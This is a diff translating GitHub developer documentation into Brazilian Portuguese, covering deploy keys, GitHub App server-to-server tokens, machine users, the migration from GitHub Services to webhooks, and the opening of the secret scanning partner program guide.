-5. In the sidebar, click **Deploy Keys**, then click **Add deploy key**. ![Add Deploy Keys link](/assets/images/add-deploy-key.png)
-6. Provide a title, paste in your public key.  ![Deploy Key page](/assets/images/deploy-key.png)
-7. Select **Allow write access** if you want this key to have write access to the repository. A deploy key with write access lets a deployment push to the repository.
-8. Click **Add key**.
+1.
+Execute o procedimento `ssh-keygen` no seu servidor e lembre-se do local onde você salva o par de chaves RSA público/privadas gerado.</li> 
+   
+   2 No canto superior direito de qualquer página do {% data variables.product.product_name %}, clique na sua foto do perfil e, em seguida, clique em **Seu perfil**. ![Navegação para o perfil](/assets/images/profile-page.png)
+3 Na sua página de perfil, clique em **Repositórios** e, em seguida, clique no nome do seu repositório. ![Link dos repositórios](/assets/images/repos.png)
+4 No seu repositório, clique em **Configurações**. ![Configurações do repositório](/assets/images/repo-settings.png)
+5 Na barra lateral, clique em **Implantar Chaves** e, em seguida, clique em **Adicionar chave de implantação**. ![Link para adicionar chaves de implantação](/assets/images/add-deploy-key.png)
+6 Forneça um título e cole na sua chave pública.  ![Página da chave implantação](/assets/images/deploy-key.png)
+7 Selecione **Permitir acesso de gravação**, se você quiser que esta chave tenha acesso de gravação no repositório. Uma chave de implantação com acesso de gravação permite que uma implantação faça push no repositório.
+8 Clique em **Adicionar chave**.</ol> 
 
-#### Using multiple repositories on one server
 
-If you use multiple repositories on one server, you will need to generate a dedicated key pair for each one. You can't reuse a deploy key for multiple repositories.
 
-In the server's SSH configuration file (usually `~/.ssh/config`), add an alias entry for each repository. For example:
+#### Usar vários repositórios em um servidor
+
+Se você usar vários repositórios em um servidor, você deverá gerar um par de chaves dedicado para cada um. Você não pode reutilizar uma chave de implantação para vários repositórios.
+
+No arquivo de configuração do SSH do servidor (geralmente `~/.ssh/config`), adicione uma entrada de pseudônimo para cada repositório. Por exemplo:
+
+
 
 ```bash
 Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-0
@@ -104,88 +109,114 @@ Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif
         IdentityFile=/home/user/.ssh/repo-1_deploy_key
 ```
 
-* `Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-0` - The repository's alias.
-* `Hostname {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}` - Configures the hostname to use with the alias.
-* `IdentityFile=/home/user/.ssh/repo-0_deploy_key` - Assigns a private key to the alias.
 
-You can then use the hostname's alias to interact with the repository using SSH, which will use the unique deploy key assigned to that alias. For example:
+* `Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-0` - O alias do repositório.
+* `Hostname {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}` - Configura o nome de host a ser usado com o alias.
+* `IdentityFile=/home/user/.ssh/repo-0_deploy_key` - Atribui uma chave privada ao pseudônimo.
+
+Em seguida, você pode usar o apelido do host para interagir com o repositório usando SSH, que usará a chave de deploy exclusiva atribuída a esse pseudônimo. Por exemplo:
+
+
 
 ```bash
 $ git clone git@{% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-1:OWNER/repo-1.git
 ```
 
-## Server-to-server tokens
 
-If your server needs to access repositories across one or more organizations, you can use a GitHub App to define the access you need, and then generate _tightly-scoped_, _server-to-server_ tokens from that GitHub App. The server-to-server tokens can be scoped to single or multiple repositories, and can have fine-grained permissions. For example, you can generate a token with read-only access to a repository's contents. 
 
-Since GitHub Apps are a first class actor on  {% data variables.product.product_name %}, the server-to-server tokens are decoupled from any GitHub user, which makes them comparable to "service tokens". Additionally, server-to-server tokens have dedicated rate limits that scale with the size of the organizations that they act upon. For more information, see [Rate limits for Github Apps](/developers/apps/rate-limits-for-github-apps).
 
-#### Pros
+## Tokens do servidor para servidor
 
-- Tightly-scoped tokens with well-defined permission sets and expiration times (1 hour, or less if revoked manually using the API).
-- Dedicated rate limits that grow with your organization.
-- Decoupled from GitHub user identities, so they do not consume any licensed seats.
-- Never granted a password, so cannot be directly signed in to.
+Se seu servidor precisar acessar repositórios em uma ou mais organizações, você poderá usar um aplicativo GitHub para definir o acesso que você precisa e, em seguida, gerar tokens de _escopo limitado_, _servidor para servidor_ a partir daquele aplicativo GitHub. Os tokens do servidor para servidor podem ter escopo de repositório único ou múltiplo e podem ter permissões refinadas. Por exemplo, você pode gerar um token com acesso somente leitura para o conteúdo de um repositório. 
 
-#### Cons
+Uma vez que os aplicativos GitHub são um ator de primeira classe em  {% data variables.product.product_name %}, os tokens do servidor para servidor são dissociados de qualquer usuário do GitHub, o que os torna comparáveis aos "tokens de serviço". Além disso, tokens de servidor para servidor têm limites de taxa dedicados que escalam com o tamanho das organizações sobre as quais eles atuam. Para obter mais informações, consulte [Limites de taxa para os aplicativos Github](/developers/apps/rate-limits-for-github-apps).
 
-- Additional setup is needed to create the GitHub App.
-- Server-to-server tokens expire after 1 hour, and so need to be re-generated, typically on-demand using code.
 
-#### Setup
 
-1. Determine if your GitHub App should be public or private. If your GitHub App will only act on repositories within your organization, you likely want it private.
-1. Determine the permissions your GitHub App requires, such as read-only access to repository contents.
-1. Create your GitHub App via your organization's settings page. For more information, see [Creating a GitHub App](/developers/apps/creating-a-github-app).
-1. Note your GitHub App `id`.
-1. Generate and download your GitHub App's private key, and store this safely. For more information, see [Generating a private key](/developers/apps/authenticating-with-github-apps#generating-a-private-key).
-1. Install your GitHub App on the repositories it needs to act upon, optionally you may install the GitHub App on all repositories in your organization.
-1. Identify the `installation_id` that represents the connection between your GitHub App and the organization repositories it can access.  Each GitHub App and organization pair have at most a single `installation_id`. You can identify this `installation_id` via [Get an organization installation for the authenticated app](/rest/reference/apps#get-an-organization-installation-for-the-authenticated-app). This requires authenticating as a GitHub App using a JWT, for more information see [Authenticating as a GitHub App](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app).
-1. Generate a server-to-server token using the corresponding REST API endpoint, [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app). This requires authenticating as a GitHub App using a JWT, for more information see [Authenticating as a GitHub App](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app), and [Authenticating as an installation](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation).
-1. Use this server-to-server token to interact with your repositories, either via the REST or GraphQL APIs, or via a Git client.
+#### Prós
 
-## Machine users
+- Tokens com escopo limitado com conjuntos de permissões bem definidos e tempos de expiração (1 hora, ou menos se for revogado manualmente usando a API).
+- Limites de taxa dedicados que crescem com a sua organização.
+- Separados das identidades de usuários do GitHub para que não consumam nenhuma estação licenciada.
+- Nunca concedeu uma senha. Portanto, não pode efetuar o login diretamente.
 
-If your server needs to access multiple repositories, you can create a new account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} and attach an SSH key that will be used exclusively for automation. Since this account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} won't be used by a human, it's called a _machine user_. You can add the machine user as a [collaborator][collaborator] on a personal repository (granting read and write access), as an [outside collaborator][outside-collaborator] on an organization repository (granting read, write, or admin access), or to a [team][team] with access to the repositories it needs to automate (granting the permissions of the team).
+
+
+#### Contras
+
+- É necessária uma configuração adicional para criar o aplicativo GitHub.
+- Os tokens de servidor para servidor expiram após 1 hora. Portanto, precisam ser gerados novamente, geralmente sob demanda e usando código.
+
+
+
+#### Configuração
+
+1. Determine se seu aplicativo GitHub deve ser público ou privado. Se o seu aplicativo GitHub agir apenas nos repositórios da organização, é provável que você queira que ele seja privado.
+1. Determine as permissões que o aplicativo GitHub exige, como acesso somente leitura ao conteúdo do repositório.
+1. Crie seu aplicativo GitHub por meio da página de configurações da sua organização. Para obter mais informações, consulte [Criar um aplicativo GitHub](/developers/apps/creating-a-github-app).
+1. Observe seu id `id` do aplicativo GitHub.
+1. Gere e faça o download da chave privada do seu aplicativo GitHub e armazene-a com segurança. Para obter mais informações, consulte [Gerar uma chave privada](/developers/apps/authenticating-with-github-apps#generating-a-private-key).
+1. Instale o aplicativo GitHub nos repositórios nos quais ele precisa agir. Opcionalmente você poderá instalar o aplicativo GitHub em todos os repositórios da sua organização.
+1. Identifique o `installation_id` que representa a conexão entre o aplicativo GitHub e os repositórios da organização à qual ele pode acessar.  Cada aplicativo GitHub e par de organização tem, no máximo, um `installation_id` único. Você pode identificar este `installation_id` por meio de [Obter uma instalação da organização para o aplicativo autenticado](/rest/reference/apps#get-an-organization-installation-for-the-authenticated-app). Isto exige autenticação como um aplicativo GitHub usando um JWT. Para obter mais informações, consulte [Efetuar a autenticação como um aplicativo GitHub](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app).
+1. Gere um token de servidor para servidor usando o ponto de extremidade correspondente da API REST, [Crie um token de acesso de instalação para um aplicativo](/rest/reference/apps#create-an-installation-access-token-for-an-app). Isto exige autenticação como um aplicativo GitHub usando um JWT. Para obter mais informações, consulte [Efetuar a autenticação como um aplicativo GitHub](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app) e [Efetuar a autenticação como uma instalação](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation).
+1. Use este token de servidor para servidor para interagir com seus repositórios, seja por meio das APIs REST ou GraphQL, ou por meio de um cliente Git.
+
+
+
+## Usuários máquina
+
+Se o servidor tiver de acessar vários repositórios, você poderá criar uma nova conta em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} e anexar uma chave SSH que será usada exclusivamente para automatização. Como essa conta em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} não será usada por uma pessoa, ela é chamada denominada _usuário de máquina_. É possível adicionar o usuário máquina como [colaborador][collaborator] em um repositório pessoal (concedendo acesso de leitura e gravação), como [colaborador externo][outside-collaborator] em um repositório da organização (concedendo leitura, acesso gravação, ou administrador) ou como uma [equipe][team], com acesso aos repositórios que precisa automatizar (concedendo as permissões da equipe).
 
 {% ifversion fpt or ghec %}
 
 {% tip %}
 
-**Tip:** Our [terms of service][tos] state:
+**Dica:** Nossos [termos de serviço][tos] afirmam que:
 
-> *Accounts registered by "bots" or other automated methods are not permitted.*
 
-This means that you cannot automate the creation of accounts. But if you want to create a single machine user for automating tasks such as deploy scripts in your project or organization, that is totally cool.
+
+> *Contas registradas por "bots" ou outros métodos automatizados não são permitidas.*
+
+Isto significa que você não pode automatizar a criação de contas. Mas se você desejar criar um único usuário máquina para automatizar tarefas como scripts de implantação em seu projeto ou organização, isso é muito legal.
 
 {% endtip %}
 
 {% endif %}
 
-#### Pros
 
-* Anyone with access to the repository and server has the ability to deploy the project.
-* No (human) users need to change their local SSH settings.
-* Multiple keys are not needed; one per server is adequate.
 
-#### Cons
+#### Prós
 
-* Only organizations can restrict machine users to read-only access. Personal repositories always grant collaborators read/write access.
-* Machine user keys, like deploy keys, are usually not protected by a passphrase.
+* Qualquer pessoa com acesso ao repositório e servidor é capaz de implantar o projeto.
+* Nenhum usuário (humano) precisa alterar suas configurações de SSH locais.
+* Não são necessárias várias chaves; o adequado é uma por servidor.
 
-#### Setup
 
-1. [Run the `ssh-keygen` procedure][generating-ssh-keys] on your server and attach the public key to the machine user account.
-2. Give the machine user account access to the repositories you want to automate. You can do this by adding the account as a [collaborator][collaborator], as an [outside collaborator][outside-collaborator], or to a [team][team] in an organization.
+
+#### Contras
+
+* Apenas organizações podem restringir os usuários máquina para acesso somente leitura. Os repositórios pessoais sempre concedem aos colaboradores acesso de leitura/gravação.
+* Chaves dos usuário máquina, como chaves de implantação, geralmente não são protegidas por senha.
+
+
+
+#### Configuração
+
+1. [Execute o procedimento `ssh-keygen`][generating-ssh-keys] no seu servidor e anexe a chave pública à conta do usuário máquina.
+2. Dê acesso à conta de usuário máquina aos repositórios que deseja automatizar. Você pode fazer isso adicionando a conta como [colaborador][collaborator], como [colaborador externo][outside-collaborator] ou como uma [equipe][team] em uma organização.
+
+
+
+## Leia mais
+
+- [Configurar notificações](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options)
 
 [ssh-agent-forwarding]: /guides/using-ssh-agent-forwarding/
 [generating-ssh-keys]: /articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent/#generating-a-new-ssh-key
 [tos]: /free-pro-team@latest/github/site-policy/github-terms-of-service/
 [git-automation]: /articles/git-automation-with-oauth-tokens
+[git-automation]: /articles/git-automation-with-oauth-tokens
 [collaborator]: /articles/inviting-collaborators-to-a-personal-repository
 [outside-collaborator]: /articles/adding-outside-collaborators-to-repositories-in-your-organization
 [team]: /articles/adding-organization-members-to-a-team
 
-## Further reading
-- [Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options)
-
diff --git a/translations/pt-BR/content/developers/overview/replacing-github-services.md b/translations/pt-BR/content/developers/overview/replacing-github-services.md
index 7e39883b4a..5a25fc6b10 100644
--- a/translations/pt-BR/content/developers/overview/replacing-github-services.md
+++ b/translations/pt-BR/content/developers/overview/replacing-github-services.md
@@ -1,6 +1,6 @@
 ---
-title: Replacing GitHub Services
-intro: 'If you''re still relying on the deprecated {% data variables.product.prodname_dotcom %} Services, learn how to migrate your service hooks to webhooks.'
+title: Substituir os GitHub Services
+intro: 'Se você ainda depende dos serviços obsoletos do {% data variables.product.prodname_dotcom %}, aprenda como migrar seus hooks de serviço para webhooks.'
 redirect_from:
   - /guides/replacing-github-services
   - /v3/guides/automating-deployments-to-integrators
@@ -14,61 +14,61 @@ topics:
 ---
 
 
-We have deprecated GitHub Services in favor of integrating with webhooks. This guide helps you transition to webhooks from GitHub Services. For more information on this announcement, see the [blog post](https://developer.github.com/changes/2018-10-01-denying-new-github-services).
+Nós tornamos o GitHub Services obsoletos em favor da integração com webhooks. Este guia ajuda você a fazer a transição para webhooks dos serviços do GitHub. Para obter mais informações sobre este anúncio, consulte o [post do blog](https://developer.github.com/changes/2018-10-01-denying-new-github-services).
 
 {% note %}
 
-As an alternative to the email service, you can now start using email notifications for pushes to your repository. See "[About email notifications for pushes to your repository](/github/receiving-notifications-about-activity-on-github/about-email-notifications-for-pushes-to-your-repository/)" to learn how to configure commit email notifications.
+Como uma alternativa ao serviço de e-mail, agora você pode começar a usar notificações por e-mail para push no repositório. Consulte "[Sobre notificações por e-mail para pushes no seu repositório](/github/receiving-notifications-about-activity-on-github/about-email-notifications-for-pushes-to-your-repository/)para aprender como configurar as notificações por e-mail do commit.
 
 {% endnote %}
 
-## Deprecation timeline
+## Linha do tempo da depreciação
 
-- **October 1, 2018**: GitHub discontinued allowing users to install services. We removed GitHub Services from the GitHub.com user interface.
-- **January 29, 2019**: As an alternative to the email service, you can now start using email notifications for pushes to your repository. See "[About email notifications for pushes to your repository](/github/receiving-notifications-about-activity-on-github/about-email-notifications-for-pushes-to-your-repository/)" to learn how to configure commit email notifications.
-- **January 31, 2019**: GitHub will stop delivering installed services' events on GitHub.com.
+- **1 de outubro de 2018**: o GitHub foi suspenso, permitindo que os usuários instalassem serviços. Removemos o GitHub Services da interface de usuário do GitHub.com.
+- **29 de janeiro de 2019**: Como alternativa ao serviço de e-mail, você pode começar a usar notificações por e-mail para push em seu repositório. Consulte "[Sobre notificações por e-mail para pushes no seu repositório](/github/receiving-notifications-about-activity-on-github/about-email-notifications-for-pushes-to-your-repository/)para aprender como configurar as notificações por e-mail do commit.
+- **31 de janeiro de 2019**: o GitHub irá parar de implementar os eventos dos serviços instalados no GitHub.com.
 
-## GitHub Services background
+## Antecedentes do GitHub Services
 
-GitHub Services (sometimes referred to as Service Hooks) is the legacy method of integrating where GitHub hosted a portion of our integrator’s services via [the `github-services` repository](https://github.com/github/github-services). Actions performed on GitHub trigger these services, and you can use these services to trigger actions outside of GitHub.
+P GitHub Services (às vezes referido como Hooks de Serviço) é o método legado de integração, em que o GitHub hospedou uma parte dos serviços do nosso integrador por meio do [repositório `github-services`](https://github.com/github/github-services). Ações executadas no GitHub acionam esses serviços e você pode usá-los para acionar ações fora do GitHub.
 
 {% ifversion ghes or ghae %}
-## Finding repositories that use GitHub Services
-We provide a command-line script that helps you identify which repositories on your appliance use GitHub Services. For more information, see [ghe-legacy-github-services-report](/enterprise/{{currentVersion}}/admin/articles/command-line-utilities/#ghe-legacy-github-services-report).{% endif %}
+## Encontrar repositórios que usam o GitHub Services
+Fornecemos um script de linha de comando que ajuda a identificar quais repositórios usam o GitHub Services. Para obter mais informações, consulte [ghe-legacy-github-services-report](/enterprise/{{currentVersion}}/admin/articles/command-line-utilities/#ghe-legacy-github-services-report).{% endif %}
 
 ## GitHub Services vs. webhooks
 
-The key differences between GitHub Services and webhooks:
-- **Configuration**: GitHub Services have service-specific configuration options, while webhooks are simply configured by specifying a URL and a set of events.
-- **Custom logic**: GitHub Services can have custom logic to respond with multiple actions as part of processing a single event, while webhooks have no custom logic.
-- **Types of requests**: GitHub Services can make HTTP and non-HTTP requests, while webhooks can make HTTP requests only.
+As principais diferenças entre o GitHub Services e webhooks:
+- **Configuração**: O GitHub Services tem opções de configuração específicas do serviço, enquanto os webhooks são configurados simplesmente especificando uma URL e um conjunto de eventos.
+- **Lógica personalizada**: O GitHub Services pode ter uma lógica personalizada para responder com várias ações como parte do processamento de um único evento, enquanto os webhooks não têm nenhuma lógica personalizada.
+- **Tipos de solicitações**: O GitHub Services pode fazer solicitações HTTP e que não são HTTP, enquanto os webhooks podem fazer apenas solicitações HTTP.
 
-## Replacing Services with webhooks
+## Substituir os serviços por webhooks
 
-To replace GitHub Services with Webhooks:
+Para substituir GitHub Services por Webhooks:
 
-1. Identify the relevant webhook events you’ll need to subscribe to from [this list](/webhooks/#events).
+1. Identifique os eventos de webhook relevantes que você precisará assinar [nesta lista](/webhooks/#events).
 
-2. Change your configuration depending on how you currently use GitHub Services:
+2. Altere sua configuração dependendo de como você usa atualmente os GitHub Services:
 
-   - **GitHub Apps**: Update your app's permissions and subscribed events to configure your app to receive the relevant webhook events.
-   - **OAuth Apps**: Request either the `repo_hook` and/or `org_hook` scope(s) to manage the relevant events on behalf of users.
-   - **GitHub Service providers**: Request that users manually configure a webhook with the relevant events sent to you, or take this opportunity to build an app to manage this functionality. For more information, see "[About apps](/apps/about-apps/)."
+   - **Aplicativos GitHub**: Atualize as permissões e eventos assinados do aplicativo para configurar seu aplicativo para receber os eventos de webhook relevantes.
+   - **Aplicativos OAuth**: Solicite o(s) escopo(s) `repo_hook` e/ou `org_hook` para gerenciar os eventos relevantes em nome dos usuários.
+   - **Provedores do GitHub Services**: Solicite que os usuários configurem manualmente um webhook com os eventos relevantes enviados a você, ou aproveite esta oportunidade para criar um aplicativo para gerenciar essa funcionalidade. Para obter mais informações, consulte "[Sobre os aplicativos](/apps/about-apps/)".
 
-3. Move additional configuration from outside of GitHub. Some GitHub Services require additional, custom configuration on the configuration page within GitHub. If your service does this, you will need to move this functionality into your application or rely on GitHub or OAuth Apps where applicable.
+3. Mover configuração adicional de fora do GitHub. Alguns GitHub Services exigem uma configuração adicional e personalizada na página de configuração do GitHub. Se o seu serviço fizer isso, você deverá mover esta funcionalidade para seu aplicativo ou depender dos aplicativos GitHub ou OAuth, quando necessário.
 
-## Supporting {% data variables.product.prodname_ghe_server %}
+## Compatibilidade com {% data variables.product.prodname_ghe_server %}
 
-- **{% data variables.product.prodname_ghe_server %} 2.17**: {% data variables.product.prodname_ghe_server %} release 2.17 and higher will discontinue allowing admins to install services. Admins will continue to be able to modify existing service hooks and receive service hooks in {% data variables.product.prodname_ghe_server %} release 2.17 through 2.19. As an alternative to the email service, you will be able to use email notifications for pushes to your repository in {% data variables.product.prodname_ghe_server %} 2.17 and higher. See [this blog post](https://developer.github.com/changes/2019-01-29-life-after-github-services) to learn more.
-- **{% data variables.product.prodname_ghe_server %} 2.20**: {% data variables.product.prodname_ghe_server %} release 2.20 and higher will stop delivering all installed services' events.
+- **{% data variables.product.prodname_ghe_server %} 2.17**: O {% data variables.product.prodname_ghe_server %} com versão 2.17 ou superior irá parar de permitir que os administradores instalem serviços. Os administradores continuarão podendo modificar hooks de serviço existentes e receber hooks de serviço no {% data variables.product.prodname_ghe_server %} para as versões 2.17 a 2.19. Como alternativa ao serviço de e-mail, você poderá usar notificações de e-mail para push para seu repositório no {% data variables.product.prodname_ghe_server %} com versão 2.17 ou superior. Consulte [este poste de blog](https://developer.github.com/changes/2019-01-29-life-after-github-services) para saber mais.
+- **{% data variables.product.prodname_ghe_server %} 2.20**: O {% data variables.product.prodname_ghe_server %} com versão 2.20 e superior deixará de implementar os eventos de todos os serviços instalados.
 
-The {% data variables.product.prodname_ghe_server %} 2.17 release will be the first release that does not allow admins to install GitHub Services. We will only support existing GitHub Services until the {% data variables.product.prodname_ghe_server %} 2.20 release. We will also accept any critical patches for your GitHub Service running on {% data variables.product.prodname_ghe_server %} until October 1, 2019.
+A versão 2.17 do {% data variables.product.prodname_ghe_server %} será a primeira versão que não permite que os administradores instalem o GitHub Services. Só suportaremos o GitHub Services existente até o lançamento da versão do {% data variables.product.prodname_ghe_server %}. Também aceitaremos quaisquer patches críticos o seu GitHub Services em execução em {% data variables.product.prodname_ghe_server %} até 1 de outubro de 2019.
 
-## Migrating with our help
+## Migrar com a nossa ajuda
 
-Please [contact us](https://github.com/contact?form%5Bsubject%5D=GitHub+Services+Deprecation) with any questions.
+[Entre em contato conosco](https://github.com/contact?form%5Bsubject%5D=GitHub+Services+Deprecation) em caso de dúvida.
 
-As a high-level overview, the process of migration typically involves:
-  - Identifying how and where your product is using GitHub Services.
-  - Identifying the corresponding webhook events you need to configure in order to move to plain webhooks.
-  - Implementing the design using either [{% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/) or [{% data variables.product.prodname_github_apps %}. {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/) are preferred. To learn more about why {% data variables.product.prodname_github_apps %} are preferred, see "[Reasons for switching to {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/#reasons-for-switching-to-github-apps)."
+Como uma visão geral de alto nível, o processo de migração normalmente envolve:
+  - Identificar como e onde seu produto está usando o GitHub Services.
+  - Identificar os eventos de webhook correspondentes que você precisa configurar para mover para webhooks simples.
+  - Implementando o design usando [{% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/) ou [{% data variables.product.prodname_github_apps %}. {% data variables.product.prodname_github_apps %}s](/apps/building-github-apps/) são preferidos. Para saber mais sobre o porquê de {% data variables.product.prodname_github_apps %} ser preferido, consulte "[Motivos para mudar para {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/#reasons-for-switching-to-github-apps)".
diff --git a/translations/pt-BR/content/developers/overview/secret-scanning-partner-program.md b/translations/pt-BR/content/developers/overview/secret-scanning-partner-program.md
index c1967ee2cc..eda5b06190 100644
--- a/translations/pt-BR/content/developers/overview/secret-scanning-partner-program.md
+++ b/translations/pt-BR/content/developers/overview/secret-scanning-partner-program.md
@@ -1,6 +1,6 @@
 ---
-title: Secret scanning partner program
-intro: 'As a service provider, you can partner with {% data variables.product.prodname_dotcom %} to have your secret token formats secured through secret scanning, which searches for accidental commits of your secret format and can be sent to a service provider''s verify endpoint.'
+title: Programa de verificação de segredo de parceiros
+intro: 'Como um provedor de serviço, você pode associar-se ao {% data variables.product.prodname_dotcom %} para proteger os seus formatos de token secretos por varredura de segredos, que pesquisa commits acidentais no seu formato secreto e que pode ser enviado para o ponto de extremidade de verificação de um provedor de serviços.'
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /partnerships/token-scanning
@@ -11,55 +11,55 @@ versions:
   ghec: '*'
 topics:
   - API
-shortTitle: Secret scanning
+shortTitle: Varredura secreta
 ---
 
-{% data variables.product.prodname_dotcom %} scans repositories for known secret formats to prevent fraudulent use of credentials that were committed accidentally. {% data variables.product.prodname_secret_scanning_caps %} happens by default on public repositories, and can be enabled on private repositories by repository administrators or organization owners. As a service provider, you can partner with {% data variables.product.prodname_dotcom %} so that your secret formats are included in our {% data variables.product.prodname_secret_scanning %}.
+O {% data variables.product.prodname_dotcom %} faz a varredura de repositórios de formatos secretos conhecidos para evitar uso fraudulento de credenciais confirmadas acidentalmente. {% data variables.product.prodname_secret_scanning_caps %} acontece por padrão em repositórios públicos e pode ser habilitado em repositórios privados por administradores de repositório ou proprietários da organização. Como provedor de serviço, você pode fazer parcerias com {% data variables.product.prodname_dotcom %} para que seus formatos de segredo estejam incluídos em nosso {% data variables.product.prodname_secret_scanning %}.
 
-When a match of your secret format is found in a public repository, a payload is sent to an HTTP endpoint of your choice.
+Quando uma correspondência do seu formato secreto é encontrada em um repositório público, uma carga é enviada para um ponto de extremidade HTTP de sua escolha.
 
-When a match of your secret format is found in a private repository configured for {% data variables.product.prodname_secret_scanning %}, then repository admins and the committer are alerted and can view and manage the {% data variables.product.prodname_secret_scanning %} result on {% data variables.product.prodname_dotcom %}. For more information, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)."
+Quando uma correspondência do formato secreto é encontrada em um repositório privado configurado para {% data variables.product.prodname_secret_scanning %}, os administradores do repositório e o committer são alertados e podem visualizar e gerenciar o resultado {% data variables.product.prodname_secret_scanning %} em {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte "[Gerenciando alertas do {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)."
 
-This article describes how you can partner with {% data variables.product.prodname_dotcom %} as a service provider and join the {% data variables.product.prodname_secret_scanning %} partner program.
+Este artigo descreve como você pode fazer parceria com {% data variables.product.prodname_dotcom %} como um provedor de serviço e juntar-se ao programa de parceiro de {% data variables.product.prodname_secret_scanning %}.
 
-## The {% data variables.product.prodname_secret_scanning %} process
+## O processo de {% data variables.product.prodname_secret_scanning %}
 
-#### How {% data variables.product.prodname_secret_scanning %} works in a public repository
+#### Como {% data variables.product.prodname_secret_scanning %} funciona em um repositório público
 
-The following diagram summarizes the {% data variables.product.prodname_secret_scanning %} process for public repositories, with any matches sent to a service provider's verify endpoint.
+O diagrama a seguir resume o processo de {% data variables.product.prodname_secret_scanning %} para repositórios públicos, com qualquer correspondência enviada para o ponto de extremidade de verificação de um provedor de serviços.
 
-![Flow diagram showing the process of scanning for a secret and sending matches to a service provider's verify endpoint](/assets/images/secret-scanning-flow.png "{% data variables.product.prodname_secret_scanning_caps %} flow")
+![Diagrama do fluxo que mostra o processo de varredura de um segredo e envio de correspondências para o ponto de extremidade de verificação de um provedor de serviços](/assets/images/secret-scanning-flow.png "Fluxo de {% data variables.product.prodname_secret_scanning_caps %}")
 
-## Joining the {% data variables.product.prodname_secret_scanning %} program on {% data variables.product.prodname_dotcom %}
+## Juntando-se ao programa de {% data variables.product.prodname_secret_scanning %} em {% data variables.product.prodname_dotcom %}
 
-1. Contact {% data variables.product.prodname_dotcom %} to get the process started.
-1. Identify the relevant secrets you want to scan for and create regular expressions to capture them.
-1. For secret matches found in public repositories, create a secret alert service which accepts webhooks from {% data variables.product.prodname_dotcom %}  that contain the {% data variables.product.prodname_secret_scanning %} message payload.
-1. Implement signature verification in your secret alert service.
-1. Implement secret revocation and user notification in your secret alert service.
-1. Provide feedback for false positives (optional).
+1. Entre em contato com {% data variables.product.prodname_dotcom %} para dar início ao processo.
+1. Identifique os segredos relevantes cuja varredura você deseja realizar e crie expressões regulares para capturá-los.
+1. Para correspondências de segredos encontradas em repositórios públicos, crie um serviço de alerta de segredo que aceite webhooks de {% data variables.product.prodname_dotcom %}  que contenham a carga da mensagem de {% data variables.product.prodname_secret_scanning %}.
+1. Implemente a verificação de assinatura em seu serviço de alerta secreto.
+1. Implemente revogação do segredo e notificação do usuário no seu serviço de alerta secreto.
+1. Fornece feedback sobre falsos positivos (opcional).
 
-### Contact {% data variables.product.prodname_dotcom %} to get the process started
+### Entre em contato com {% data variables.product.prodname_dotcom %} para dar início ao processo
 
-To get the enrollment process started, email <a href="mailto:secret-scanning@github.com">secret-scanning@github.com</a>.
+Para iniciar o processo de inscrição, envie um e-mail para <a href="mailto:secret-scanning@github.com">secret-scanning@github.com</a>.
 
-You will receive details on the {% data variables.product.prodname_secret_scanning %} program, and you will need to agree to {% data variables.product.prodname_dotcom %}'s terms of participation before proceeding.
+Você receberá detalhes do programa de {% data variables.product.prodname_secret_scanning %} e você precisará aceitar os termos de participação de {% data variables.product.prodname_dotcom %} antes de prosseguir.
 
-### Identify your secrets and create regular expressions
+### Identifique seus segredos e crie expressões regulares
 
-To scan for your secrets, {% data variables.product.prodname_dotcom %} needs the following pieces of information for each secret that you want included in the {% data variables.product.prodname_secret_scanning %} program:
+Para fazer a varredura dos seus segredos, {% data variables.product.prodname_dotcom %} precisa das informações a seguir para cada segredo que você deseja que seja incluído no programa {% data variables.product.prodname_secret_scanning %}:
 
-* A unique, human readable name for the secret type. We'll use this to generate the `Type` value in the message payload later.
-* A regular expression which finds the secret type. Be as precise as possible, because this will reduce the number of false positives.
-* The URL of the endpoint that receives messages from {% data variables.product.prodname_dotcom %}. This does not have to be unique for each secret type.
+* Um nome único e legível para o tipo do segredo. Nós vamos usá-lo para gerar o valor `Tipo` na carga da mensagem posteriormente.
+* Uma expressão regular que encontra o tipo do segredo. Seja o mais preciso possível, pois isso reduzirá o número de falsos positivos.
+* A URL do ponto de extremidade que recebe mensagens de {% data variables.product.prodname_dotcom %}. Isso não precisa ser único para cada tipo de segredo.
 
-Send this information to <a href="mailto:secret-scanning@github.com">secret-scanning@github.com</a>.
+Envie esta informação para <a href="mailto:secret-scanning@github.com">secret-scanning@github.com</a>.
 
-### Create a secret alert service
